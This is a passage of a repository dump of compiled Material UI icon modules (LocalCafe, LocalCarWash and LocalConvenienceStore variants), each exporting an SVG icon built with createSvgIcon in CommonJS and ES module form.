    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 5v8c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V5zm4-2H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.89 2-2V5c0-1.11-.89-2-2-2m-2 5V5h2v3zm2 11H2v2h18z\"\n}), 'LocalCafeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCafeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 5v8c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V5zm4-2H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.89 2-2V5c0-1.11-.89-2-2-2m-2 5V5h2v3zm2 11H2v2h18z\"\n}), 'LocalCafeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCafeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H6c-1.1 0-2 .9-2 2v8c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 5h-2V5h2zM3 21h16c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'LocalCafeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCafeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H6c-1.1 0-2 .9-2 2v8c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 5h-2V5h2zM3 21h16c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'LocalCafeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCafeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4v14h14v-7h2c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 5h-2V5h2zM2 21h18v-2H2z\"\n}), 'LocalCafeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCafeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4v14h14v-7h2c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 5h-2V5h2zM2 21h18v-2H2z\"\n}), 'LocalCafeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCafeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 15h6c1.1 0 2-.9 2-2V5H6v8c0 1.1.9 2 2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 19h18v2H2zm2-6c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.89 2-2V5c0-1.11-.89-2-2-2H4zm14-8h2v3h-2zM6 5h10v8c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2z\"\n}, \"1\")], 'LocalCafeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCafeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 15h6c1.1 0 2-.9 2-2V5H6v8c0 1.1.9 2 2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 19h18v2H2zm2-6c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.89 2-2V5c0-1.11-.89-2-2-2H4zm14-8h2v3h-2zM6 5h10v8c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2z\"\n}, \"1\")], 'LocalCafeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCarWash.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5c.83 0 1.5-.67 1.5-1.5 0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7c0 .83.67 1.5 1.5 1.5m-5 0c.83 0 1.5-.67 1.5-1.5 0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7c0 .83.67 1.5 1.5 1.5M7 5c.83 0 1.5-.67 1.5-1.5C8.5 2.5 7 .8 7 .8S5.5 2.5 5.5 3.5C5.5 4.33 6.17 5 7 5m11.92 3.01C18.72 7.42 18.16 7 17.5 7h-11c-.66 0-1.21.42-1.42 1.01L3 14v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.5 18c-.83 0-1.5-.67-1.5-1.5S5.67 15 6.5 15s1.5.67 1.5 1.5S7.33 18 6.5 18m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 13l1.5-4.5h11L19 13z\"\n}), 'LocalCarWash');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCarWash.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5c.83 0 1.5-.67 1.5-1.5 0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7c0 .83.67 1.5 1.5 1.5m-5 0c.83 0 1.5-.67 1.5-1.5 0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7c0 .83.67 1.5 1.5 1.5M7 5c.83 0 1.5-.67 1.5-1.5C8.5 2.5 7 .8 7 .8S5.5 2.5 5.5 3.5C5.5 4.33 6.17 5 7 5m11.92 3.01C18.72 7.42 18.16 7 17.5 7h-11c-.66 0-1.21.42-1.42 1.01L3 14v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.5 18c-.83 0-1.5-.67-1.5-1.5S5.67 15 6.5 15s1.5.67 1.5 1.5S7.33 18 6.5 18m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 13l1.5-4.5h11L19 13z\"\n}), 'LocalCarWash');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCarWashOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5c.83 0 1.5-.67 1.5-1.5 0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7c0 .83.67 1.5 1.5 1.5m-5 0c.83 0 1.5-.67 1.5-1.5 0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7c0 .83.67 1.5 1.5 1.5M7 5c.83 0 1.5-.67 1.5-1.5C8.5 2.5 7 .8 7 .8S5.5 2.5 5.5 3.5C5.5 4.33 6.17 5 7 5m11.92 3.01C18.72 7.42 18.16 7 17.5 7h-11c-.66 0-1.21.42-1.42 1.01L3 14v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 9h10.29l1.04 3H5.81zM19 19H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"2\")], 'LocalCarWashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCarWashOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5c.83 0 1.5-.67 1.5-1.5 0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7c0 .83.67 1.5 1.5 1.5m-5 0c.83 0 1.5-.67 1.5-1.5 0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7c0 .83.67 1.5 1.5 1.5M7 5c.83 0 1.5-.67 1.5-1.5C8.5 2.5 7 .8 7 .8S5.5 2.5 5.5 3.5C5.5 4.33 6.17 5 7 5m11.92 3.01C18.72 7.42 18.16 7 17.5 7h-11c-.66 0-1.21.42-1.42 1.01L3 14v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 9h10.29l1.04 3H5.81zM19 19H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"2\")], 'LocalCarWashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCarWashRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5c.83 0 1.5-.67 1.5-1.5 0-.66-.66-1.64-1.11-2.22-.2-.26-.59-.26-.79 0-.44.58-1.1 1.56-1.1 2.22 0 .83.67 1.5 1.5 1.5m-5 0c.83 0 1.5-.67 1.5-1.5 0-.66-.66-1.64-1.11-2.22-.2-.26-.59-.26-.79 0-.44.58-1.1 1.56-1.1 2.22 0 .83.67 1.5 1.5 1.5M7 5c.83 0 1.5-.67 1.5-1.5 0-.66-.66-1.64-1.11-2.22-.2-.26-.59-.26-.79 0-.44.58-1.1 1.56-1.1 2.22C5.5 4.33 6.17 5 7 5m11.92 3.01C18.72 7.42 18.16 7 17.5 7h-11c-.66 0-1.21.42-1.42 1.01l-1.97 5.67c-.07.21-.11.43-.11.66v7.16c0 .83.67 1.5 1.5 1.5S6 22.33 6 21.5V21h12v.5c0 .82.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5v-7.16c0-.22-.04-.45-.11-.66zM6.5 18c-.83 0-1.5-.67-1.5-1.5S5.67 15 6.5 15s1.5.67 1.5 1.5S7.33 18 6.5 18m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 13l1.27-3.82c.14-.4.52-.68.95-.68h9.56c.43 0 .81.28.95.68L19 13z\"\n}), 'LocalCarWashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCarWashRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5c.83 0 1.5-.67 1.5-1.5 0-.66-.66-1.64-1.11-2.22-.2-.26-.59-.26-.79 0-.44.58-1.1 1.56-1.1 2.22 0 .83.67 1.5 1.5 1.5m-5 0c.83 0 1.5-.67 1.5-1.5 0-.66-.66-1.64-1.11-2.22-.2-.26-.59-.26-.79 0-.44.58-1.1 1.56-1.1 2.22 0 .83.67 1.5 1.5 1.5M7 5c.83 0 1.5-.67 1.5-1.5 0-.66-.66-1.64-1.11-2.22-.2-.26-.59-.26-.79 0-.44.58-1.1 1.56-1.1 2.22C5.5 4.33 6.17 5 7 5m11.92 3.01C18.72 7.42 18.16 7 17.5 7h-11c-.66 0-1.21.42-1.42 1.01l-1.97 5.67c-.07.21-.11.43-.11.66v7.16c0 .83.67 1.5 1.5 1.5S6 22.33 6 21.5V21h12v.5c0 .82.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5v-7.16c0-.22-.04-.45-.11-.66zM6.5 18c-.83 0-1.5-.67-1.5-1.5S5.67 15 6.5 15s1.5.67 1.5 1.5S7.33 18 6.5 18m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 13l1.27-3.82c.14-.4.52-.68.95-.68h9.56c.43 0 .81.28.95.68L19 13z\"\n}), 'LocalCarWashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCarWashSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.58 7H5.43L3 14v9h3v-2h12v2h3v-9zM6.5 18c-.83 0-1.5-.67-1.5-1.5S5.67 15 6.5 15s1.5.67 1.5 1.5S7.33 18 6.5 18m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 13l1.5-4.5h11L19 13zm12-8c.83 0 1.5-.67 1.5-1.5 0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7c0 .83.67 1.5 1.5 1.5m-5 0c.83 0 1.5-.67 1.5-1.5 0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7c0 .83.67 1.5 1.5 1.5M7 5c.83 0 1.5-.67 1.5-1.5C8.5 2.5 7 .8 7 .8S5.5 2.5 5.5 3.5C5.5 4.33 6.17 5 7 5\"\n}), 'LocalCarWashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCarWashSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.58 7H5.43L3 14v9h3v-2h12v2h3v-9zM6.5 18c-.83 0-1.5-.67-1.5-1.5S5.67 15 6.5 15s1.5.67 1.5 1.5S7.33 18 6.5 18m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 13l1.5-4.5h11L19 13zm12-8c.83 0 1.5-.67 1.5-1.5 0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7c0 .83.67 1.5 1.5 1.5m-5 0c.83 0 1.5-.67 1.5-1.5 0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7c0 .83.67 1.5 1.5 1.5M7 5c.83 0 1.5-.67 1.5-1.5C8.5 2.5 7 .8 7 .8S5.5 2.5 5.5 3.5C5.5 4.33 6.17 5 7 5\"\n}), 'LocalCarWashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCarWashTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5.12 14-.12.34V19h14v-4.66l-.12-.34zm2.38 4c-.83 0-1.5-.67-1.5-1.5S6.67 15 7.5 15s1.5.67 1.5 1.5S8.33 18 7.5 18m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 3.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7m-2 0c0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5m-5 0C8.5 2.5 7 .8 7 .8S5.5 2.5 5.5 3.5C5.5 4.33 6.17 5 7 5s1.5-.67 1.5-1.5M21 14l-2.08-5.99C18.72 7.42 18.16 7 17.5 7h-11c-.66 0-1.21.42-1.42 1.01L3 14v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1zM6.85 9h10.29l1.04 3H5.81zM19 19H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"3\")], 'LocalCarWashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalCarWashTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5.12 14-.12.34V19h14v-4.66l-.12-.34zm2.38 4c-.83 0-1.5-.67-1.5-1.5S6.67 15 7.5 15s1.5.67 1.5 1.5S8.33 18 7.5 18m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 3.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5c0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7m-2 0c0-1-1.5-2.7-1.5-2.7s-1.5 1.7-1.5 2.7c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5m-5 0C8.5 2.5 7 .8 7 .8S5.5 2.5 5.5 3.5C5.5 4.33 6.17 5 7 5s1.5-.67 1.5-1.5M21 14l-2.08-5.99C18.72 7.42 18.16 7 17.5 7h-11c-.66 0-1.21.42-1.42 1.01L3 14v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1zM6.85 9h10.29l1.04 3H5.81zM19 19H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"3\")], 'LocalCarWashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalConvenienceStore.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7V4H5v3H2v13h8v-4h4v4h8V7zm-8 3H9v1h2v1H8V9h2V8H8V7h3zm5 2h-1v-2h-2V7h1v2h1V7h1z\"\n}), 'LocalConvenienceStore');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalConvenienceStore.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7V4H5v3H2v13h8v-4h4v4h8V7zm-8 3H9v1h2v1H8V9h2V8H8V7h3zm5 2h-1v-2h-2V7h1v2h1V7h1z\"\n}), 'LocalConvenienceStore');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalConvenienceStoreOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7V4H5v3H2v13h8v-4h4v4h8V7zm1 11h-4v-4H8v4H4V9h3V6h10v3h3zM8 8h2v1H8v3h3v-1H9v-1h2V7H8zm7 1h-1V7h-1v3h2v2h1V7h-1z\"\n}), 'LocalConvenienceStoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalConvenienceStoreOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 7V4H5v3H2v13h8v-4h4v4h8V7zm1 11h-4v-4H8v4H4V9h3V6h10v3h3zM8 8h2v1H8v3h3v-1H9v-1h2V7H8zm7 1h-1V7h-1v3h2v2h1V7h-1z\"\n}), 'LocalConvenienceStoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalConvenienceStoreRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.9 7.89-1.05-3.37c-.22-.9-1-1.52-1.91-1.52H5.05c-.9 0-1.69.63-1.9 1.52L2.1 7.89c-.46 1.97.85 3.11.9 3.17V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-7.94c1.12-1.12 1.09-2.41.9-3.17M13 5h1.96l.54 3.52c.09.71-.39 1.48-1.28 1.48-.67 0-1.22-.59-1.22-1.31zM6.44 8.86c-.08.65-.6 1.14-1.21 1.14-.93 0-1.35-.97-1.19-1.64L5.05 5h1.97zM10.5 16H9v1h1.5c.28 0 .5.22.5.5s-.22.5-.5.5h-2c-.28 0-.5-.22-.5-.5v-2c0-.28.22-.5.5-.5H10v-1H8.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h2c.28 0 .5.22.5.5v2c0 .28-.22.5-.5.5m.5-7.31c0 .72-.55 1.31-1.29 1.31-.75 0-1.3-.7-1.22-1.48L9.04 5H11zM15.5 18c-.28 0-.5-.22-.5-.5V16h-1.5c-.28 0-.5-.22-.5-.5v-2c0-.28.22-.5.5-.5s.5.22.5.5V15h1v-1.5c0-.28.22-.5.5-.5s.5.22.5.5v4c0 .28-.22.5-.5.5m3.27-8c-.61 0-1.14-.49-1.21-1.14L16.98 5l1.93-.01 1.05 3.37c.16.67-.25 1.64-1.19 1.64\"\n}), 'LocalConvenienceStoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalConvenienceStoreRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.9 7.89-1.05-3.37c-.22-.9-1-1.52-1.91-1.52H5.05c-.9 0-1.69.63-1.9 1.52L2.1 7.89c-.46 1.97.85 3.11.9 3.17V19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-7.94c1.12-1.12 1.09-2.41.9-3.17M13 5h1.96l.54 3.52c.09.71-.39 1.48-1.28 1.48-.67 0-1.22-.59-1.22-1.31zM6.44 8.86c-.08.65-.6 1.14-1.21 1.14-.93 0-1.35-.97-1.19-1.64L5.05 5h1.97zM10.5 16H9v1h1.5c.28 0 .5.22.5.5s-.22.5-.5.5h-2c-.28 0-.5-.22-.5-.5v-2c0-.28.22-.5.5-.5H10v-1H8.5c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h2c.28 0 .5.22.5.5v2c0 .28-.22.5-.5.5m.5-7.31c0 .72-.55 1.31-1.29 1.31-.75 0-1.3-.7-1.22-1.48L9.04 5H11zM15.5 18c-.28 0-.5-.22-.5-.5V16h-1.5c-.28 0-.5-.22-.5-.5v-2c0-.28.22-.5.5-.5s.5.22.5.5V15h1v-1.5c0-.28.22-.5.5-.5s.5.22.5.5v4c0 .28-.22.5-.5.5m3.27-8c-.61 0-1.14-.49-1.21-1.14L16.98 5l1.93-.01 1.05 3.37c.16.67-.25 1.64-1.19 1.64\"\n}), 'LocalConvenienceStoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalConvenienceStoreSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 7V4H5v3H2v13h8v-4h4v4h8V7zm-8 3H9v1h2v1H8V9h2V8H8V7h3zm5 2h-1v-2h-2V7h1v2h1V7h1z\"\n}), 'LocalConvenienceStoreSharp');"
